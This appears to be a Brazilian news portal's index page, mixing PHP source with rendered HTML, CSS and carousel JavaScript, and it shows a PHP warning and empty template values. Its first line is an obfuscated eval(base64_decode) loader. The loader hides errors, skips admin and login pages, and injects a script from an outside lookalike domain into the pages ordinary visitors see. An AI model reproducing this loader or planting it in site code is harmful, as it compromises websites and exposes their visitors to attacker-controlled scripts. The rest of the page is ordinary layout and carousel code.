eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); 

// Portal de Notícias Profissional - Carrossel com AUTO-ROTAÇÃO COMPLETA
// Slides, vídeos e classificados giram automaticamente
// Compatível com PHP 5.6+ e CWP

// Configurações de erro para produção
error_reporting(0);
ini_set('display_errors', 0);

// Função para carregar dados JSON com fallback
function loadJsonData($file, $default = []) {
    $path = __DIR__ . '/data/' . $file;
    if (file_exists($path)) {
        $content = file_get_contents($path);
        $data = json_decode($content, true);
        return $data !== null ? $data : $default;
    }
    return $default;
}

// Carregar todas as configurações
$config = loadJsonData('config.json', [
    'site_name' => 'Portal de Notícias',
    'site_subtitle' => 'Sua fonte confiável de informações atualizadas',
    'logo' => '',
    'splash_enabled' => true
]);

$colors = loadJsonData('colors.json', [
    'primary' => '#6366f1',
    'secondary' => '#8b5cf6'
]);

$social = loadJsonData('social.json', [
    'whatsapp' => '',
    'facebook' => '',
    'instagram' => '',
    'youtube' => '',
    'tiktok' => '',
    'android' => '',
    'ios' => '',
    'multiplataforma' => ''
]);

$footer = loadJsonData('footer.json', [
    'city' => 'Sua Cidade',
    'state' => 'Seu Estado',
    'email' => 'contato@portal.com',
    'whatsapp' => '(11) 99999-9999'
]);

$players = loadJsonData('players.json', [
    'video' => ['active' => false, 'title' => 'TV Portal', 'code' => ''],
    'audio' => ['active' => false, 'title' => 'Rádio Portal', 'url' => '']
]);

$sections = loadJsonData('sections.json', [
    'slides' => true,
    'videos' => true,
    'classifieds' => true,
    'sponsors_left' => true,
    'sponsors_right' => true
]);

// Carregar dados de conteúdo
$news = loadJsonData('news.json', []);
$slides = loadJsonData('slides.json', []);
$sponsors = loadJsonData('sponsors.json', []);
$videos = loadJsonData('videos.json', []);
$classifieds = loadJsonData('classifieds.json', []);

// Filtrar apenas itens ativos
$activeSlides = array_filter($slides, function($slide) {
    return isset($slide['active']) && $slide['active'];
});

$activeSponsorsLeft = array_filter($sponsors, function($sponsor) {
    return isset($sponsor['active']) && $sponsor['active'] && $sponsor['position'] === 'left';
});

$activeSponsorsRight = array_filter($sponsors, function($sponsor) {
    return isset($sponsor['active']) && $sponsor['active'] && $sponsor['position'] === 'right';
});

$activeVideos = array_filter($videos, function($video) {
    return isset($video['active']) && $video['active'];
});

$activeClassifieds = array_filter($classifieds, function($classified) {
    return isset($classified['active']) && $classified['active'];
});

// Paginação de notícias - 4 notícias por página (2x2)
$page = isset($_GET['page']) ? max(1, intval($_GET['page'])) : 1;
$perPage = 4; // 2 colunas x 2 linhas = 4 notícias por página
$totalNews = count($news);
$totalPages = ceil($totalNews / $perPage);
$offset = ($page - 1) * $perPage;
$currentNews = array_slice($news, $offset, $perPage);

// Função para extrair ID do vídeo do YouTube
function getYouTubeVideoId($url) {
    preg_match('/(?:youtube\.com\/(?:[^\/]+\/.+\/|(?:v|e(?:mbed)?)\/|.*[?&]v=)|youtu\.be\/)([^"&?\/\s]{11})/', $url, $matches);
    return isset($matches[1]) ? $matches[1] : '';
}
?>
<!DOCTYPE html>
<html lang="pt-BR">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title> - </title>
    <meta name="description" content="">
    <meta name="keywords" content="notícias, portal, informações, ">
    
    <!-- CSS Inline para compatibilidade -->
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            line-height: 1.6;
            color: #333;
            /* GRADIENTE FUNCIONAL - SEMPRE VISÍVEL */
            background: linear-gradient(135deg,  0%,  100%);
            background-attachment: fixed; /* FIXA O GRADIENTE */
            min-height: 100vh;
        }
        
        .container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 20px;
        }
        
        /* Splash Screen com GRADIENTE ANIMADO */
        .splash-screen {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            /* GRADIENTE ANIMADO NO SPLASH */
            background: linear-gradient(135deg,  0%,  50%,  100%);
            background-size: 200% 200%;
            animation: gradientShift 4s ease-in-out infinite, fadeOut 3s ease-in-out 2s forwards;
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            z-index: 9999;
        }
        
        .splash-logo {
            max-width: 200px;
            max-height: 200px;
            animation: logoAppear 1.5s ease-out;
        }
        
        .splash-text {
            color: white;
            font-size: 24px;
            margin-top: 20px;
            text-align: center;
            animation: textAppear 2s ease-out 0.5s both;
            text-shadow: 0 2px 10px rgba(0,0,0,0.3);
        }
        
        @keyframes gradientShift {
            0% { background-position: 0% 50%; }
            50% { background-position: 100% 50%; }
            100% { background-position: 0% 50%; }
        }
        
        @keyframes logoAppear {
            0% { opacity: 0; transform: scale(0.5) rotate(-10deg); }
            100% { opacity: 1; transform: scale(1) rotate(0deg); }
        }
        
        @keyframes textAppear {
            0% { opacity: 0; transform: translateY(30px); }
            100% { opacity: 1; transform: translateY(0); }
        }
        
        @keyframes fadeOut {
            0%, 80% { opacity: 1; }
            100% { opacity: 0; visibility: hidden; }
        }
        
        /* Header */
        .header {
            background: rgba(255, 255, 255, 0.95);
            backdrop-filter: blur(10px);
            padding: 20px 0;
            box-shadow: 0 2px 20px rgba(0,0,0,0.1);
        }
        
        .header-content {
            display: flex;
            align-items: center;
            justify-content: space-between;
            flex-wrap: wrap;
        }
        
        .logo-section {
            display: flex;
            align-items: center;
            gap: 15px;
        }
        
        .logo {
            max-width: 80px;
            max-height: 80px;
            border-radius: 10px;
        }
        
        .site-info h1 {
            font-size: 2.5em;
            color: ;
            margin-bottom: 5px;
            text-shadow: 0 2px 4px rgba(0,0,0,0.1);
        }
        
        .site-info p {
            color: #666;
            font-size: 1.1em;
        }
        
        /* Redes Sociais */
        .social-media {
            display: flex;
            gap: 15px;
            flex-wrap: wrap;
        }
        
        .social-link {
            width: 45px;
            height: 45px;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            text-decoration: none;
            color: white;
            font-weight: bold;
            transition: transform 0.3s ease;
            box-shadow: 0 4px 15px rgba(0,0,0,0.2);
        }
        
        .social-link:hover {
            transform: scale(1.1) translateY(-2px);
        }
        
        .social-whatsapp { background: #25D366; }
        .social-facebook { background: #1877F2; }
        .social-instagram { background: linear-gradient(45deg, #F56040, #E1306C, #833AB4); }
        .social-youtube { background: #FF0000; }
        .social-tiktok { background: #000000; }
        .social-android { background: #3DDC84; }
        .social-ios { background: #007AFF; }
        .social-multiplataforma { background: linear-gradient(45deg, , ); }
        
        /* Players */
        .players-section {
            padding: 30px 0;
            margin: 20px 0;
        }
        
        .players-container {
            display: flex;
            flex-direction: column;
            gap: 30px;
            max-width: 900px;
            margin: 0 auto;
        }
        
        .player-box {
            background: rgba(255, 255, 255, 0.95);
            backdrop-filter: blur(10px);
            border-radius: 15px;
            padding: 25px;
            box-shadow: 0 8px 25px rgba(0,0,0,0.15);
            transition: transform 0.3s ease;
            border: 1px solid rgba(255,255,255,0.2);
        }
        
        .player-box:hover {
            transform: translateY(-5px);
        }
        
        .player-title {
            font-size: 1.8em;
            color: ;
            margin-bottom: 20px;
            text-align: center;
            font-weight: 600;
        }
        
        .video-player {
            width: 100%;
            border-radius: 10px;
            overflow: hidden;
        }
        
        .video-player iframe {
            width: 100%;
            height: 450px;
            border: none;
        }
        
        .audio-player {
            width: 100%;
        }
        
        .audio-player audio {
            width: 100%;
            height: 60px;
        }
        
        /* Layout Principal - FIXO E CENTRALIZADO */
        .main-layout {
            display: grid;
            grid-template-columns: 200px 1fr 200px;
            gap: 30px;
            margin: 30px 0;
        }
        
        .sidebar {
            background: rgba(255, 255, 255, 0.9);
            backdrop-filter: blur(10px);
            border-radius: 15px;
            padding: 20px;
            height: fit-content;
            box-shadow: 0 5px 15px rgba(0,0,0,0.1);
            border: 1px solid rgba(255,255,255,0.2);
        }
        
        .content-area {
            background: rgba(255, 255, 255, 0.95);
            backdrop-filter: blur(10px);
            border-radius: 15px;
            padding: 30px;
            box-shadow: 0 5px 15px rgba(0,0,0,0.1);
            border: 1px solid rgba(255,255,255,0.2);
            /* IMPORTANTE: LIMITA A LARGURA DO CONTEÚDO */
            max-width: 100%;
            overflow: hidden;
        }
        
        /* Slides com AUTO-ROTAÇÃO */
        .slides-section {
            margin-bottom: 40px;
        }
        
        .carousel {
            position: relative;
            border-radius: 15px;
            overflow: hidden;
            box-shadow: 0 10px 30px rgba(0,0,0,0.2);
        }
        
        .slide {
            display: none;
            position: relative;
            transition: opacity 0.5s ease-in-out;
        }
        
        .slide.active {
            display: block;
        }
        
        .slide img {
            width: 100%;
            height: 400px;
            object-fit: cover;
        }
        
        .slide-overlay {
            position: absolute;
            bottom: 0;
            left: 0;
            right: 0;
            background: linear-gradient(transparent, rgba(0,0,0,0.8));
            color: white;
            padding: 30px;
        }
        
        .carousel-nav {
            position: absolute;
            top: 50%;
            transform: translateY(-50%);
            background: rgba(255,255,255,0.8);
            border: none;
            width: 50px;
            height: 50px;
            border-radius: 50%;
            cursor: pointer;
            font-size: 20px;
            transition: all 0.3s ease;
            z-index: 10;
        }
        
        .carousel-nav:hover {
            background: white;
            transform: translateY(-50%) scale(1.1);
        }
        
        .carousel-prev { left: 20px; }
        .carousel-next { right: 20px; }
        
        .carousel-indicators {
            position: absolute;
            bottom: 20px;
            left: 50%;
            transform: translateX(-50%);
            display: flex;
            gap: 10px;
            z-index: 10;
        }
        
        .indicator {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            background: rgba(255,255,255,0.5);
            cursor: pointer;
            transition: all 0.3s ease;
        }
        
        .indicator.active {
            background: white;
            transform: scale(1.2);
        }
        
        /* NOTÍCIAS - 2 COLUNAS LADO A LADO */
        .news-grid {
            display: grid;
            grid-template-columns: 1fr 1fr; /* SEMPRE 2 COLUNAS */
            gap: 25px;
            margin: 30px 0;
        }
        
        .news-card {
            background: rgba(255, 255, 255, 0.95);
            backdrop-filter: blur(10px);
            border-radius: 15px;
            overflow: hidden;
            box-shadow: 0 5px 15px rgba(0,0,0,0.1);
            transition: transform 0.3s ease;
            cursor: pointer;
            border: 1px solid rgba(255,255,255,0.2);
        }
        
        .news-card:hover {
            transform: translateY(-5px);
        }
        
        .news-image {
            width: 100%;
            height: 180px;
            object-fit: cover;
        }
        
        .news-content {
            padding: 20px;
        }
        
        .news-title {
            font-size: 1.2em;
            color: ;
            margin-bottom: 10px;
            line-height: 1.4;
        }
        
        .news-summary {
            color: #666;
            line-height: 1.6;
            margin-bottom: 15px;
            font-size: 0.95em;
        }
        
        .news-date {
            color: #999;
            font-size: 0.9em;
        }
        
        /* Seções */
        .section-title {
            font-size: 2em;
            color: ;
            margin-bottom: 30px;
            text-align: center;
            text-shadow: 0 2px 4px rgba(0,0,0,0.1);
        }
        
        /* CARROSSEL LIMITADO A EXATAMENTE 3 ITENS - CORREÇÃO DE BORDA */
        .videos-section,
        .classifieds-section {
            margin: 40px 0;
        }
        
        .carousel-wrapper {
            position: relative;
            margin: 0 auto;
            /* LIMITA A LARGURA MÁXIMA DO CARROSSEL */
            max-width: 100%;
            width: 100%;
        }
        
        .carousel-container {
            overflow: hidden;
            border-radius: 15px;
            width: 100%;
            /* FORÇA O CONTAINER A RESPEITAR A LARGURA */
            max-width: 100%;
        }
        
        .carousel-track {
            display: flex;
            transition: transform 0.5s ease;
            /* LARGURA CALCULADA PARA EXATAMENTE 3 ITENS */
            width: calc(3 * 250px + 2 * 20px); /* 3 itens de 250px + 2 margens de 20px */
        }
        
        /* VÍDEOS - EXATAMENTE 3 ITENS VISÍVEIS - LARGURA FIXA */
        .video-card {
            width: 250px; /* LARGURA FIXA MENOR */
            flex-shrink: 0;
            margin-right: 20px;
            background: rgba(255, 255, 255, 0.95);
            backdrop-filter: blur(10px);
            border-radius: 15px;
            overflow: hidden;
            box-shadow: 0 5px 15px rgba(0,0,0,0.1);
            transition: transform 0.3s ease;
            border: 1px solid rgba(255,255,255,0.2);
        }
        
        .video-card:hover {
            transform: translateY(-5px);
        }
        
        .video-card:last-child {
            margin-right: 0;
        }
        
        .video-thumbnail {
            width: 100%;
            height: 140px; /* ALTURA MENOR */
            object-fit: cover;
        }
        
        .video-info {
            padding: 12px; /* PADDING MENOR */
        }
        
        .video-title {
            font-size: 0.9em; /* FONTE MENOR */
            color: ;
            margin-bottom: 8px;
            line-height: 1.3;
        }
        
        /* CLASSIFICADOS - EXATAMENTE 3 ITENS VISÍVEIS - LARGURA FIXA */
        .classified-card {
            width: 250px; /* LARGURA FIXA MENOR */
            flex-shrink: 0;
            margin-right: 20px;
            background: rgba(255, 255, 255, 0.95);
            backdrop-filter: blur(10px);
            border-radius: 15px;
            overflow: hidden;
            box-shadow: 0 5px 15px rgba(0,0,0,0.1);
            cursor: pointer;
            transition: transform 0.3s ease;
            border: 1px solid rgba(255,255,255,0.2);
        }
        
        .classified-card:hover {
            transform: translateY(-5px);
        }
        
        .classified-card:last-child {
            margin-right: 0;
        }
        
        .classified-image {
            width: 100%;
            height: 120px; /* ALTURA MENOR */
            object-fit: cover;
        }
        
        .classified-info {
            padding: 12px; /* PADDING MENOR */
        }
        
        .classified-title {
            font-size: 0.9em; /* FONTE MENOR */
            color: ;
            margin-bottom: 6px;
            line-height: 1.3;
        }
        
        .classified-price {
            color: ;
            font-weight: bold;
            font-size: 1em;
        }
        
        /* BOTÕES DE NAVEGAÇÃO DO CARROSSEL */
        .carousel-controls {
            position: absolute;
            top: 50%;
            transform: translateY(-50%);
            width: 100%;
            display: flex;
            justify-content: space-between;
            pointer-events: none;
            padding: 0 10px;
        }
        
        .carousel-btn {
            background: ;
            color: white;
            border: none;
            width: 40px; /* BOTÕES MENORES */
            height: 40px;
            border-radius: 50%;
            cursor: pointer;
            font-size: 18px;
            transition: all 0.3s ease;
            pointer-events: all;
            box-shadow: 0 4px 15px rgba(0,0,0,0.3);
            z-index: 10;
        }
        
        .carousel-btn:hover {
            background: ;
            transform: scale(1.1);
        }
        
        .carousel-btn:disabled {
            background: #ccc;
            cursor: not-allowed;
            transform: none;
        }
        
        /* Patrocinadores */
        .sponsors-sidebar {
            display: flex;
            flex-direction: column;
            gap: 20px;
        }
        
        .sponsor-card {
            background: rgba(255, 255, 255, 0.95);
            backdrop-filter: blur(10px);
            border-radius: 10px;
            padding: 15px;
            text-align: center;
            box-shadow: 0 3px 10px rgba(0,0,0,0.1);
            transition: transform 0.3s ease;
            border: 1px solid rgba(255,255,255,0.2);
        }
        
        .sponsor-card:hover {
            transform: scale(1.05);
        }
        
        .sponsor-logo {
            max-width: 100%;
            max-height: 100px;
            object-fit: contain;
        }
        
        /* Rodapé */
        .footer {
            background: rgba(0, 0, 0, 0.9);
            backdrop-filter: blur(10px);
            color: white;
            padding: 40px 0;
            text-align: center;
        }
        
        .footer-content {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
            gap: 30px;
            margin-bottom: 30px;
        }
        
        .footer-section h3 {
            color: ;
            margin-bottom: 15px;
        }
        
        .footer-bottom {
            border-top: 1px solid #444;
            padding-top: 20px;
            color: #ccc;
        }
        
        /* Modal */
        .modal {
            display: none;
            position: fixed;
            z-index: 1000;
            left: 0;
            top: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0,0,0,0.8);
            backdrop-filter: blur(5px);
        }
        
        .modal-content {
            background: rgba(255, 255, 255, 0.95);
            backdrop-filter: blur(10px);
            margin: 5% auto;
            padding: 30px;
            border-radius: 15px;
            width: 90%;
            max-width: 800px;
            max-height: 80vh;
            overflow-y: auto;
            border: 1px solid rgba(255,255,255,0.2);
        }
        
        .close {
            color: #aaa;
            float: right;
            font-size: 28px;
            font-weight: bold;
            cursor: pointer;
        }
        
        .close:hover {
            color: black;
        }
        
        /* Paginação */
        .pagination {
            display: flex;
            justify-content: center;
            gap: 10px;
            margin: 30px 0;
        }
        
        .pagination a {
            padding: 10px 15px;
            background: linear-gradient(45deg, , );
            color: white;
            text-decoration: none;
            border-radius: 5px;
            transition: all 0.3s ease;
            box-shadow: 0 4px 15px rgba(0,0,0,0.2);
        }
        
        .pagination a:hover,
        .pagination a.current {
            transform: translateY(-2px);
            box-shadow: 0 6px 20px rgba(0,0,0,0.3);
        }
        
        /* Responsivo */
        @media (max-width: 992px) {
            .main-layout {
                grid-template-columns: 1fr;
                gap: 20px;
            }
            
            .sidebar {
                order: 2;
            }
            
            .content-area {
                order: 1;
            }
            
            /* Carrossel responsivo - 2 itens */
            .carousel-track {
                width: calc(2 * 250px + 1 * 20px); /* 2 itens */
            }
        }
        
        @media (max-width: 768px) {
            .header-content {
                flex-direction: column;
                gap: 20px;
            }
            
            .site-info h1 {
                font-size: 2em;
            }
            
            /* NOTÍCIAS EM MOBILE - 1 COLUNA */
            .news-grid {
                grid-template-columns: 1fr;
            }
            
            .players-container {
                max-width: 100%;
                gap: 20px;
            }
            
            .player-box {
                padding: 20px;
            }
            
            .player-title {
                font-size: 1.5em;
            }
            
            .video-player iframe {
                height: 250px;
            }
            
            /* Carrossel mobile - 1 item */
            .carousel-track {
                width: 250px; /* 1 item */
            }
            
            .video-card,
            .classified-card {
                margin-right: 0;
            }
        }
        
        @media (max-width: 480px) {
            .container {
                padding: 0 15px;
            }
            
            .player-box {
                padding: 15px;
            }
            
            .video-player iframe {
                height: 200px;
            }
            
            .carousel-btn {
                width: 35px;
                height: 35px;
                font-size: 16px;
            }
        }
    </style>
</head>
<body>
    <!-- Splash Screen -->
    
    <!-- Header -->
    <header class="header">
        <div class="container">
            <div class="header-content">
                <div class="logo-section">
                                        <div class="site-info">
                        <h1></h1>
                        <p></p>
                    </div>
                </div>
                
                <!-- Redes Sociais -->
                <div class="social-media">
                                                                                                                                                                                </div>
            </div>
        </div>
    </header>

    <!-- Players -->
    
    <!-- Layout Principal -->
    <div class="container">
        <div class="main-layout">
            <!-- Sidebar Esquerda - Patrocinadores -->
            
            <!-- Área de Conteúdo Principal -->
            <main class="content-area">
                <!-- Carrossel de Slides com AUTO-ROTAÇÃO -->
                
                <!-- Notícias - 2 COLUNAS LADO A LADO -->
                <section class="news-section">
                    <h2 class="section-title">Últimas Notícias</h2>
                    
                                        <p style="text-align: center; color: #666; padding: 40px;">Nenhuma notícia disponível no momento.</p>
                                    </section>

                <!-- Vídeos do YouTube - LIMITADO A 3 ITENS FIXOS COM AUTO-ROTAÇÃO -->
                
                <!-- Classificados - LIMITADO A 3 ITENS FIXOS COM AUTO-ROTAÇÃO -->
                            </main>

            <!-- Sidebar Direita - Patrocinadores -->
                    </div>
    </div>

    <!-- Rodapé -->
    <footer class="footer">
        <div class="container">
            <div class="footer-content">
                <div class="footer-section">
                    <h3></h3>
                    <p> - </p>
                </div>
                <div class="footer-section">
                    <h3>Contato</h3>
                    <p>Email: </p>
                    <p>WhatsApp: </p>
                </div>
            </div>
            <div class="footer-bottom">
                <p>&copy; 2026 . Todos os direitos reservados.</p>
            </div>
        </div>
    </footer>

    <!-- Modal para Notícias -->
    <div id="newsModal" class="modal">
        <div class="modal-content">
            <span class="close" onclick="closeNewsModal()">&times;</span>
            <div id="newsModalContent"></div>
        </div>
    </div>

    <!-- Modal para Todos os Classificados -->
    <div id="classifiedsModal" class="modal">
        <div class="modal-content">
            <span class="close" onclick="closeClassifiedsModal()">&times;</span>
            <h2>Todos os Classificados</h2>
            <div id="allClassifieds" style="display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 20px; margin-top: 20px;">
                <br />
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home2/portalno/public_html/index.php</b> on line <b>1162</b><br />
            </div>
        </div>
    </div>

    <!-- JavaScript -->
    <script>
        // Dados das notícias para o modal
        const newsData = null;
        
        // CARROSSEL DE SLIDES COM AUTO-ROTAÇÃO FUNCIONAL
        let currentSlideIndex = 0;
        let slideInterval;
        const slides = document.querySelectorAll('.slide');
        const indicators = document.querySelectorAll('.indicator');
        
        function showSlide(index) {
            slides.forEach(slide => slide.classList.remove('active'));
            indicators.forEach(indicator => indicator.classList.remove('active'));
            
            if (slides[index]) {
                slides[index].classList.add('active');
                if (indicators[index]) {
                    indicators[index].classList.add('active');
                }
            }
        }
        
        function changeSlide(direction) {
            currentSlideIndex += direction;
            if (currentSlideIndex >= slides.length) currentSlideIndex = 0;
            if (currentSlideIndex < 0) currentSlideIndex = slides.length - 1;
            showSlide(currentSlideIndex);
            
            // Reinicia o timer quando o usuário navega manualmente
            resetSlideTimer();
        }
        
        function currentSlide(index) {
            currentSlideIndex = index - 1;
            showSlide(currentSlideIndex);
            resetSlideTimer();
        }
        
        function startSlideTimer() {
            if (slides.length > 1) {
                slideInterval = setInterval(() => {
                    currentSlideIndex++;
                    if (currentSlideIndex >= slides.length) currentSlideIndex = 0;
                    showSlide(currentSlideIndex);
                }, 4000); // MUDA A CADA 4 SEGUNDOS
            }
        }
        
        function resetSlideTimer() {
            clearInterval(slideInterval);
            startSlideTimer();
        }
        
        // Inicia o carrossel automático quando a página carrega
        window.addEventListener('load', () => {
            startSlideTimer();
        });
        
        // Pausa o carrossel quando o mouse está sobre ele
        const carousel = document.querySelector('.carousel');
        if (carousel) {
            carousel.addEventListener('mouseenter', () => {
                clearInterval(slideInterval);
            });
            
            carousel.addEventListener('mouseleave', () => {
                startSlideTimer();
            });
        }
        
        // CARROSSEL DE VÍDEOS E CLASSIFICADOS COM AUTO-ROTAÇÃO E NAVEGAÇÃO FUNCIONAL
        const carousels = {
            videos: {
                track: document.getElementById('videosTrack'),
                currentIndex: 0,
                itemWidth: 270, // 250px + 20px margin
                interval: null,
                totalItems: 0
            },
            classifieds: {
                track: document.getElementById('classifiedsTrack'),
                currentIndex: 0,
                itemWidth: 270, // 250px + 20px margin
                interval: null,
                totalItems: 0
            }
        };
        
        function updateCarouselButtons(type) {
            const carousel = carousels[type];
            if (!carousel.track) return;
            
            const totalItems = carousel.track.children.length;
            carousel.totalItems = totalItems;
            const visibleItems = 3;
            const maxIndex = Math.max(0, totalItems - visibleItems);
            
            const prevBtn = document.getElementById(type + 'Prev');
            const nextBtn = document.getElementById(type + 'Next');
            
            if (prevBtn) prevBtn.disabled = carousel.currentIndex <= 0;
            if (nextBtn) nextBtn.disabled = carousel.currentIndex >= maxIndex;
        }
        
        function moveCarousel(type, direction) {
            const carousel = carousels[type];
            if (!carousel.track) return;
            
            const totalItems = carousel.track.children.length;
            const visibleItems = 3;
            const maxIndex = Math.max(0, totalItems - visibleItems);
            
            carousel.currentIndex += direction;
            carousel.currentIndex = Math.max(0, Math.min(carousel.currentIndex, maxIndex));
            
            // Mover o carrossel
            const translateX = -carousel.currentIndex * carousel.itemWidth;
            carousel.track.style.transform = `translateX(${translateX}px)`;
            
            updateCarouselButtons(type);
            
            // Reinicia o timer automático
            resetCarouselTimer(type);
        }
        
        // AUTO-ROTAÇÃO DOS CARROSSÉIS DE VÍDEOS E CLASSIFICADOS
        function startCarouselTimer(type) {
            const carousel = carousels[type];
            if (!carousel.track || carousel.totalItems <= 3) return;
            
            carousel.interval = setInterval(() => {
                const totalItems = carousel.track.children.length;
                const visibleItems = 3;
                const maxIndex = Math.max(0, totalItems - visibleItems);
                
                carousel.currentIndex++;
                if (carousel.currentIndex > maxIndex) {
                    carousel.currentIndex = 0; // Volta para o início
                }
                
                const translateX = -carousel.currentIndex * carousel.itemWidth;
                carousel.track.style.transform = `translateX(${translateX}px)`;
                
                updateCarouselButtons(type);
            }, 5000); // MUDA A CADA 5 SEGUNDOS
        }
        
        function resetCarouselTimer(type) {
            const carousel = carousels[type];
            clearInterval(carousel.interval);
            startCarouselTimer(type);
        }
        
        function pauseCarouselTimer(type) {
            const carousel = carousels[type];
            clearInterval(carousel.interval);
        }
        
        // Inicializar carrosséis
        window.addEventListener('load', () => {
            // Inicializar botões
            updateCarouselButtons('videos');
            updateCarouselButtons('classifieds');
            
            // Iniciar auto-rotação
            startCarouselTimer('videos');
            startCarouselTimer('classifieds');
            
            // Pausar auto-rotação quando mouse está sobre o carrossel
            const videosWrapper = document.querySelector('.videos-section .carousel-wrapper');
            const classifiedsWrapper = document.querySelector('.classifieds-section .carousel-wrapper');
            
            if (videosWrapper) {
                videosWrapper.addEventListener('mouseenter', () => pauseCarouselTimer('videos'));
                videosWrapper.addEventListener('mouseleave', () => startCarouselTimer('videos'));
            }
            
            if (classifiedsWrapper) {
                classifiedsWrapper.addEventListener('mouseenter', () => pauseCarouselTimer('classifieds'));
                classifiedsWrapper.addEventListener('mouseleave', () => startCarouselTimer('classifieds'));
            }
        });
        
        // Modal de notícias
        function openNewsModal(index) {
            const modal = document.getElementById('newsModal');
            const content = document.getElementById('newsModalContent');
            const news = newsData[index];
            
            content.innerHTML = `
                <h2>${news.title}</h2>
                ${news.image ? `<img src="${news.image}" alt="${news.title}" style="width: 100%; max-height: 400px; object-fit: cover; border-radius: 10px; margin: 20px 0;">` : ''}
                <p style="color: #666; margin-bottom: 20px;">${new Date(news.date).toLocaleDateString('pt-BR')}</p>
                <div style="line-height: 1.8; font-size: 1.1em;">${news.content}</div>
                <div style="margin-top: 30px; text-align: center;">
                    <button onclick="shareNews('${news.title}')" style="background: linear-gradient(45deg, , ); color: white; border: none; padding: 10px 20px; border-radius: 5px; cursor: pointer; box-shadow: 0 4px 15px rgba(0,0,0,0.2);">
                        Compartilhar
                    </button>
                </div>
            `;
            
            modal.style.display = 'block';
        }
        
        function closeNewsModal() {
            document.getElementById('newsModal').style.display = 'none';
        }
        
        function shareNews(title) {
            if (navigator.share) {
                navigator.share({
                    title: title,
                    url: window.location.href
                });
            } else {
                const url = window.location.href;
                navigator.clipboard.writeText(url).then(() => {
                    alert('Link copiado para a área de transferência!');
                });
            }
        }
        
        // Modal de classificados
        function openClassifiedModal(contact) {
            if (contact) {
                window.open(contact, '_blank');
            }
        }
        
        function openAllClassifieds() {
            document.getElementById('classifiedsModal').style.display = 'block';
        }
        
        function closeClassifiedsModal() {
            document.getElementById('classifiedsModal').style.display = 'none';
        }
        
        // Fechar modais clicando fora
        window.onclick = function(event) {
            const newsModal = document.getElementById('newsModal');
            const classifiedsModal = document.getElementById('classifiedsModal');
            
            if (event.target === newsModal) {
                newsModal.style.display = 'none';
            }
            if (event.target === classifiedsModal) {
                classifiedsModal.style.display = 'none';
            }
        }
    </script>
</body>
</html>